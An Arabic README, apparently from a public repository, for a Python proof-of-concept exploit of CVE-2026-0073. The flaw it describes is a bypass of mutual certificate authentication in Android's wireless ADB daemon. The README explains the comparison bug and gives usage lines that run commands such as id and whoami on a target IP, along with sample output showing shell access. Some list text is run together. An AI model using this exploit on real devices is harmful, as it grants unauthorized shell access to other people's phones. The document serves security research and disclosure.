
CVE-2026-0073 - تجاوز المصادقة المتبادلة اللاسلكي لـ ADB PoC
يحتوي هذا الدليل على إثبات مفهوم بلغة بايثون لـ CVE-2026-0073.
تم إنشاء السكريبت باستخدام تقنيات توليد الأكواد بمساعدة الذكاء الاصطناعي.
CVE-2026-0073 هو خلل منطقي في التحقق من شهادة ADB daemon (adbd_tls_verify_cert في auth.cpp).
يعالج الفحص الثغري أي قيمة غير صفرية ناتجة عن EVP_PKEY_cmp(...) على أنها تطابق ناجح.
المعالجة المتوقعة لنتيجة المقارنة يجب أن تكون:
1 = المفاتيح متطابقة0 = المفاتيح غير متطابقةفي الإصدارات الثغرة، تُعالج القيم السالبة على أنها صحيحة (truthy) وقد تؤدي إلى تصنيف شهادة بشكل غير صحيح على أنها مفوضة.
poc-cve-2026-0073.py:يقوم السكريبت بما يلي:
ec أو ed25519).shell: مع احتياطي exec:).cryptographyتثبيت التبعيات:
pip install cryptography
اكتشاف خدمة ADB الهدف (إذا لزم الأمر):
adb mdns services
تشغيل الإثبات:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
الوسائط:
target_ip: عنوان IP لجهاز Android الهدفport: منفذ ADB (الافتراضي: 5555)command: الأمر المراد تنفيذه (الافتراضي: id)key_type: ec أو ed25519 (الافتراضي: ec)--verbose: تمكين سجلات تصحيح البروتوكولأمثلة:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
انتهاء المهلة في انتظار الردود
--verbose لتتبع على مستوى الحزم.قد يختلف مستوى تصحيح أمان نظام التشغيل الأساسي وتصحيح وحدة Mainline. يمكن لجهاز أن يُظهر SPL شهري أقدم بينما يتلقى تحديثات أحدث لوحدة ADB.
فحوصات مفيدة:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
استخدم هذا الإثبات فقط في بيئات مفوضة (أجهزة مختبر مملوكة، إذن صريح، أو اختبار مرخص). لا تقم بتشغيله ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها.
daemon/auth.cpp)